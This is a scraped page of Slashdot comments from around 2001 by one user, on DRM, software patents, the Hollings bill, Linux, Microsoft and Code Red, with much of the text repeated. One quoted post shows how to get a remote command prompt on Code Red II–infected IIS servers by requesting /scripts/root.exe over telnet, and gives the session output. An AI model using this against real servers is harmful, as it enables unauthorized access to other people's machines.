A reasonable, fair DRM system is not possible, AFAIC.
At some point the bits that build the information are decrypted and pristine, and therefore can be trapped and copied at will. Without infringing on users rights - or introducing a system that is far too open to abuse - there is no real way of ensuring that digital data is not captured/copied or otherwise used in a way that doesn't violate current copyright unless you're willing to infringe on the fair use rights of paying customers. Unfortuneately, this is a case where there is no middle ground to speak of nor does there seem to be a high ground. The position of power is and will stay with the public, not the content producers. Therefore - unless we become a corporate police state - the media creators will have to bend to the will of the public. (Did I just say that? Ech. I have to put the Katz filter on again;-])
That said, we're left with 3 choices to compensate content producers:
1) Have content producers sponsored by other entities (which opens a whole new can of worms)
2) Grants to users - and therefore more taxes to pay for it.
3) Direct payment to the content producers - maybe a link prceeding or embeded in the content.
As a leading proponent of Open Source software, I urge you to take a strong stance against the "Security Systems Standards and Certification Act" as it is currenlty proposed by Senator Fritz Hollings (Dem.-S.Carolina), Chairman of the Senate Commerce Committee. Background information may be found by following these links:
http://www.redhat.com/opensourcenow/article2.htm l
This bill goes much too far and may actually make Open Source Software such as Linux illegal, since the source code for such software is readily available and easily modifyable. Even though I am Canadian, this bill affects me, since American based firms such as IBM and RedHat will be forced to close parts of thier source code effectievly nullifying the GPL or to cease use and development of the Linux Operating System.
Please be a leader in opposing the terms of this bill that would threaten our freedom to choose.
Regards,
Ron Sokoloski
I figure soften 'em up with the heavy artilery right away.
Come on, do you REALLY think the patent holder would EVER allow distribution of free software w/o royalty encumberance?
That's the whole point, my friend - any RAND structure based on price would allow free software to use those standards, regardless of who it hit on the bottom line. For example, say RedHat used a Microsoft patened standard in it's ditribution of Linux. If people downloaded the RedHat software for free (us lucky broadband users) then no fee applies. If someone pays for a boxed set of RH CDs, well, then Microsoft is owed the normal usage fee on that copy.
Fee/copy sold would work, since is wouldn't really discrminate against those who couldn't afford to use the standard otherwise, or those enjoined by licensing to allow free downloads of thier distributions.
One other thing - it would be very cool if the RAND agreement allowed companies to say something like "We used this patened standard in this package, licensing fees are X% of the purchase price". That would keep the fees at a reasonable level for sure.
So, even if they have a phone number in their melody database, you don't infringe if you dial that number, because you created the melody independently.
I think you're right.
Crap! There goes my evil little plan to copyright any sequence of four numbers, where each number is between zero and 255, when separated by periods.;-)
Ooo!Ooo! I know what these guys can do for us - sue Hillary Rosen or any RIAA member when they have to call each other in order to make thier little cabal plans. Could you imagine the scowl on her *cough*lovely*cough* face?
Habitat for Humanity is considering the free Linux operating system. But because Microsoft is so dominant, it will be difficult for firms to switch. Windows runs 92% of PCs. Its Office software has better than a 90% market share, Gartner says.
Habitat For Humanity is a fairly high profile organisation. If we help them to convert, they can help the devlopers to make Linux useable by the general populace. We also help a charity - big karma points in the public eye, big negative karma for Microsoft since they're stomping on a respected and established charity in the name of big $.
How about "Linux4Charity.org" - and pry any charity addicted to the MS Office crack out of Redmond's heavy hands? I bet RedHat, Mandrake, IBM and a few other of the better corporate citizens would love to help, too.
Doesn't the phone on this page look an awful lot like the red "Hot Line" that Commissioner Gordon used to pick up with the cloth?
"Chief O'Hara, to the Batphone!"
"Aye. What's Batman's IP address again, sar?"
"Oh, forget it - you can't draw the Bat Symbol to save your life anyways... Last time we got 20 bottles of Ron Bacari Rum."
"Aye. Thet was noice, wasn't it sar?"
Soko
(Please excuse the rather poor attempt at typing in an Irish accent...)
Really guys - what if Microsoft is learning from the beating they're taking from Linux, and really want to play nice? Instead of loosing the rockets at them, maybe we should put aside our mistrust of the Redmond gang - ever so slightly - and take a serious look at working with them.
This is the type of thing that users want - one password, and thier relevant information attached to that password. I have most of my users saying "Why do all these systems need a different password? Can't you computer guys get together?" IOW, they want convenience and simplification. Since Microsoft is going to do this anyway, assisting them will get us in the loop, as it were. Besides keeping "the enemy" closer, it can also have some benefical side effects:
1. It will show Microsoft that when we say "Open", we mean Open for anyone, including Satan himself.
2. It will also show them that Open Standards benefit everyone from the end user to the programmer writing APIs. They are better for business than anything propietary.
3. Things work better with a community attitude. Maybe it will change Microsofts bastille mentality for the better.
4. We can make sure that this is done properly - no backdoors, no worms, and as much security as possible.
If we just slam the door on them, instead of giving an open invitaion to work with all computer users, designers and programmers, we will just fortify thier distaste for Open Source and perpetuate the silly feud that's been going on for years.
Executive Summary: Look at thier proposal seriously instead of just dismissing it out of hand, putz.
I'm a Canadian, but I think I owe much of my freedoms to the country south of the border. As such, I get antsy when the US government starts doing things like this. Even though she's a Canuck too,Catherine Ford's column in today's Calagry Herald is right on the money - and directly applicable to this exact situation. I found this passage especially relevant:
It needs to be a response other than the one from those whose moral certitude is comfortably centred in a God of vengeance and a God of choosing sides, those who elected to scold the United States for its lack of backbone, its lack of moral fibre and its lack of security.
Our neighbour is none of that. It is not lax, it is free. It is not godless or without morals.
It is a democracy. And its internal security is as much as should be demanded of a country that prides itself on honouring the rights of its citizens before the nation's obligations and any government's right to deny freedoms.
I'm hoping that one of my USian friends put this in front of the right sets of eyes. Let freedon reign.
The last thing anyone needs is a stupid religious type scuffle when stuff just needs to be done. If Linux is the tool you need, use it. If Windows/Mac/BSD/whatever is what will do the job best - use it. Don't think - just do.
(Aside - isn't a stupid religious battle at the root of this evil?)
The Red Cross needs technical smarts on the ground right now - you're not in a board room, not in a data center. If you volunteer, just do the job and move on to the next. Concentrate on the users - now is not the time for training, so use what they're used to, or as close as possible to it. Heck, you may even learn something about other systems by deploying them.
since thier server was just slashdotted _off_ of the very same map. Heh.
<troll>
And all you mirror hounds - back off. Some day these idiots will learn that you don't post something on the net that the/. crowd will think is cool unless you have access to via a T3.
</troll>;-)
Mozilla 0.93 is great as it is - why about worry when 1.0 is coming out?
I have absolutely no problems with.93 what so ever on Redhat 7.1. Nevermind, guys - keep on moving forward, at the pace you need. I'm certainly impressed, as well as extremely grateful, so far.
Being forced to multitask means you are in demand. I mean, right now I'm:
- thinking about the 4 projects at work I have to juggle
- writing PHP code for a side project
- checking my Apache logs for Code Red II virus attacks (399 since Sunady midnight)
- checking any IIS machines on the LAN at work to make sure they stay un-infected
- waiting for my co-league in the UK to respond via ICQ about Code Red
- Listening to my lovely wife complain, since I'm supposed to be on vacation
- Draining the Segrams VO bottle as quickly as my brain will allow
It's called being punished for being good at what you do. Get used to it - truly smart people are a valuable resource, and in demand.
Soko
Re:A few more details:It's a root trojan
on
Code Red Back For More
·
· Score: 5, Informative
Just discovered something interesting...
telnet 80
type GET/scripts/root.exe HTTP/1.0
and you have a command prompt..
Like this:
[root@server httpd]# telnet 24.xxx.xxx.xxx 80
Trying 24.xxx.xxx.xxx...
Connected to 24.xxx.xxx.xxx.
Escape character is '^]'.
GET/scripts/root.exe HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Sun, 05 Aug 2001 07:45:08 GMT
Content-Type: application/octet-stream
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
c:\inetpub\scripts>
[This message was edited by The_Hitman on August 05, 2001 at 03:56.]
"I'll love it too when the Justice Dept. forces me to pay an extra $49 for the "Microsoft Bonus Pack" featuring IE and Windows Media Player.
Seriously, IE is so far ahead of other browsers MS could charge for it, but they don't.
Does anyone really think justice would be served forcing millions of Windows users to pay for the extras that you now get for free?"
Geez, you're a Windoze user, so brush up on the 1337 VV1nd0VVz ski11z Lord Billy gave you and use Windows Update fercryinoutloud.
Seriously, IE is a killer browser. Making it free to download is OK - that would be my choice. Forced on to my system? Not OK, since I can't even get rid of it if I want to.
We're talking about freedom to choose, bud, not freedom from effort (or giving MS a little more profit.)
Actually, it's "WHY are you busting me - go after the fscking script kiddiez that rooted my phone and turned the blasted Barney ring (I love you, you love me..)on full at full volume!"
OK, so we have more "wah wah, Microsoft's being a bully" from a prominent US citizen. Good for him, good for us, they're as guilty as sin, ad nauseium, ad infenitem.
The main problem we have here is that Microsoft keeps on "innovating" on Windows to the point of sucking money from people and businesses addicted to thier OS and main stay applications. Fair enough - let them have thier "innovations" - but only those developed over the last 5 years.
IIRC, support for NT will be pulled in 2002. So, the Government should force Micorsoft to release the source code for NT 4.0 SP6a under the GPL after the support is pulled. The whole steaming pile of it. It's 2 versions behind, so should be berift of thier "innovations" and no problem at all to GPL. If thier new products are truly innovative, they'll still sell millions of copies, right?
On the consumer side, it would allow interested parties to maintain thier current environment, the more industrious (some would say insane) to improve on what's there, others could develop competeing products *cough*SAMBA*cough* on other architectures and others still to develop really competive apps for Windows and/or other platforms under WIN32.
IMHO, no one is better able to compete with Microsoft than themselves.
Geez. I read your post and went abso-fscking-loutely cold. What scared me is I know a few Maclots who might actually post something like this. Don't give me any more heart palpitations, K?
Slashdot Mirror
A reasonable, fair DRM system is not possible, AFAIC.
;-])
At some point the bits that build the information are decrypted and pristine, and therefore can be trapped and copied at will. Without infringing on users rights - or introducing a system that is far too open to abuse - there is no real way of ensuring that digital data is not captured/copied or otherwise used in a way that doesn't violate current copyright unless you're willing to infringe on the fair use rights of paying customers. Unfortuneately, this is a case where there is no middle ground to speak of nor does there seem to be a high ground. The position of power is and will stay with the public, not the content producers. Therefore - unless we become a corporate police state - the media creators will have to bend to the will of the public. (Did I just say that? Ech. I have to put the Katz filter on again
That said, we're left with 3 choices to compensate content producers:
1) Have content producers sponsored by other entities (which opens a whole new can of worms)
2) Grants to users - and therefore more taxes to pay for it.
3) Direct payment to the content producers - maybe a link prceeding or embeded in the content.
Guess which one I'm leaning towards...
Soko
I figure soften 'em up with the heavy artilery right away.
Soko
Come on, do you REALLY think the patent holder would EVER allow distribution of free software w/o royalty encumberance?
That's the whole point, my friend - any RAND structure based on price would allow free software to use those standards, regardless of who it hit on the bottom line. For example, say RedHat used a Microsoft patened standard in it's ditribution of Linux. If people downloaded the RedHat software for free (us lucky broadband users) then no fee applies. If someone pays for a boxed set of RH CDs, well, then Microsoft is owed the normal usage fee on that copy.
Fee/copy sold would work, since is wouldn't really discrminate against those who couldn't afford to use the standard otherwise, or those enjoined by licensing to allow free downloads of thier distributions.
One other thing - it would be very cool if the RAND agreement allowed companies to say something like "We used this patened standard in this package, licensing fees are X% of the purchase price". That would keep the fees at a reasonable level for sure.
Soko
I think you're right.
Crap! There goes my evil little plan to copyright any sequence of four numbers, where each number is between zero and 255, when separated by periods.
Soko
Ooo!Ooo! I know what these guys can do for us - sue Hillary Rosen or any RIAA member when they have to call each other in order to make thier little cabal plans. Could you imagine the scowl on her *cough*lovely*cough* face?
Soko
Awwwww, c'mon! How could you have missed this?
You said : "Redudancy is good. Too much redundancy is bad."
You should have said: "Redundancy is good. Too much redundancy is redundant".
Why people miss the easy ones I'll never know.
Soko
IBM is a systems provider. Habitat for Humanity is an end-user. They could be a showcase of how Free Software benefits any orgainsation.
It's a win/win/win - Linux get real desktop users, any corporate partners get excellent PR and H4H gets great software for free in perpituity.
The only loser in thei scenario is Microsoft - and it's of thier own making.
Soko
Habitat For Humanity is a fairly high profile organisation. If we help them to convert, they can help the devlopers to make Linux useable by the general populace. We also help a charity - big karma points in the public eye, big negative karma for Microsoft since they're stomping on a respected and established charity in the name of big $.
How about "Linux4Charity.org" - and pry any charity addicted to the MS Office crack out of Redmond's heavy hands? I bet RedHat, Mandrake, IBM and a few other of the better corporate citizens would love to help, too.
Soko
Doesn't the phone on this page look an awful lot like the red "Hot Line" that Commissioner Gordon used to pick up with the cloth?
"Chief O'Hara, to the Batphone!"
"Aye. What's Batman's IP address again, sar?"
"Oh, forget it - you can't draw the Bat Symbol to save your life anyways... Last time we got 20 bottles of Ron Bacari Rum."
"Aye. Thet was noice, wasn't it sar?"
Soko
(Please excuse the rather poor attempt at typing in an Irish accent...)
Really guys - what if Microsoft is learning from the beating they're taking from Linux, and really want to play nice? Instead of loosing the rockets at them, maybe we should put aside our mistrust of the Redmond gang - ever so slightly - and take a serious look at working with them.
This is the type of thing that users want - one password, and thier relevant information attached to that password. I have most of my users saying "Why do all these systems need a different password? Can't you computer guys get together?" IOW, they want convenience and simplification. Since Microsoft is going to do this anyway, assisting them will get us in the loop, as it were. Besides keeping "the enemy" closer, it can also have some benefical side effects:
1. It will show Microsoft that when we say "Open", we mean Open for anyone, including Satan himself.
2. It will also show them that Open Standards benefit everyone from the end user to the programmer writing APIs. They are better for business than anything propietary.
3. Things work better with a community attitude. Maybe it will change Microsofts bastille mentality for the better.
4. We can make sure that this is done properly - no backdoors, no worms, and as much security as possible.
If we just slam the door on them, instead of giving an open invitaion to work with all computer users, designers and programmers, we will just fortify thier distaste for Open Source and perpetuate the silly feud that's been going on for years.
Executive Summary: Look at thier proposal seriously instead of just dismissing it out of hand, putz.
Soko
I'm hoping that one of my USian friends put this in front of the right sets of eyes. Let freedon reign.
Soko
The last thing anyone needs is a stupid religious type scuffle when stuff just needs to be done. If Linux is the tool you need, use it. If Windows/Mac/BSD/whatever is what will do the job best - use it. Don't think - just do.
:-P
(Aside - isn't a stupid religious battle at the root of this evil?)
The Red Cross needs technical smarts on the ground right now - you're not in a board room, not in a data center. If you volunteer, just do the job and move on to the next. Concentrate on the users - now is not the time for training, so use what they're used to, or as close as possible to it. Heck, you may even learn something about other systems by deploying them.
I just wish I could get on a plane right now.
Soko
since thier server was just slashdotted _off_ of the very same map. Heh.
/. crowd will think is cool unless you have access to via a T3.
;-)
<troll>
And all you mirror hounds - back off. Some day these idiots will learn that you don't post something on the net that the
</troll>
Cool. I can tell the PHB to turn it upside down and shake to re-boot Windows, right?
:-P
Soko
Mozilla 0.93 is great as it is - why about worry when 1.0 is coming out?
.93 what so ever on Redhat 7.1. Nevermind, guys - keep on moving forward, at the pace you need. I'm certainly impressed, as well as extremely grateful, so far.
I have absolutely no problems with
Soko
People call me a Chiphead now. With this, I'm really fscked.
Soko
Being forced to multitask means you are in demand. I mean, right now I'm:
- thinking about the 4 projects at work I have to juggle
- writing PHP code for a side project
- checking my Apache logs for Code Red II virus attacks (399 since Sunady midnight)
- checking any IIS machines on the LAN at work to make sure they stay un-infected
- waiting for my co-league in the UK to respond via ICQ about Code Red
- Listening to my lovely wife complain, since I'm supposed to be on vacation
- Draining the Segrams VO bottle as quickly as my brain will allow
It's called being punished for being good at what you do. Get used to it - truly smart people are a valuable resource, and in demand.
Soko
Unless we use our 1337 h4x0r 5ki11s and root the critters. ;-)
But, if they use software from the US Northwest:
[mr.rogers]
Can you say "CODE RED!!" ? I knew thet chya could!
[/mr.rogers]
Soko
[clap][clap][clap]...
;-D
Very nice, very nice indeed.
You'll be pissed off though, after a Compaq marketdriod sees that and it's thier commercial during next years Superbowl - won't you?
To quote a famous icon: DOH!
Soko
Geez, you're a Windoze user, so brush up on the 1337 VV1nd0VVz ski11z Lord Billy gave you and use Windows Update fercryinoutloud.
Seriously, IE is a killer browser. Making it free to download is OK - that would be my choice. Forced on to my system? Not OK, since I can't even get rid of it if I want to.
We're talking about freedom to choose, bud, not freedom from effort (or giving MS a little more profit.)
Soko
Actually, it's "WHY are you busting me - go after the fscking script kiddiez that rooted my phone and turned the blasted Barney ring (I love you, you love me..)on full at full volume!"
Soko
OK, so we have more "wah wah, Microsoft's being a bully" from a prominent US citizen. Good for him, good for us, they're as guilty as sin, ad nauseium, ad infenitem.
The main problem we have here is that Microsoft keeps on "innovating" on Windows to the point of sucking money from people and businesses addicted to thier OS and main stay applications. Fair enough - let them have thier "innovations" - but only those developed over the last 5 years.
IIRC, support for NT will be pulled in 2002. So, the Government should force Micorsoft to release the source code for NT 4.0 SP6a under the GPL after the support is pulled. The whole steaming pile of it. It's 2 versions behind, so should be berift of thier "innovations" and no problem at all to GPL. If thier new products are truly innovative, they'll still sell millions of copies, right?
On the consumer side, it would allow interested parties to maintain thier current environment, the more industrious (some would say insane) to improve on what's there, others could develop competeing products *cough*SAMBA*cough* on other architectures and others still to develop really competive apps for Windows and/or other platforms under WIN32.
IMHO, no one is better able to compete with Microsoft than themselves.
"My machine is a real boat anchor."
"Rock Solid Windows NT!!!"
"I've heard of firewalls, but that's ridiculous!"
"Dude, I c4n't haX0r th15 1337 b0xen - i've run ito a wall..."
.. and overheard in marketing: "OK, the Engineering Department has our new machine's specs set in concrete."
C'mon - everybody join in....
Geez. I read your post and went abso-fscking-loutely cold. What scared me is I know a few Maclots who might actually post something like this. Don't give me any more heart palpitations, K?
BTW, my next thought was "Gooood troll, buddy."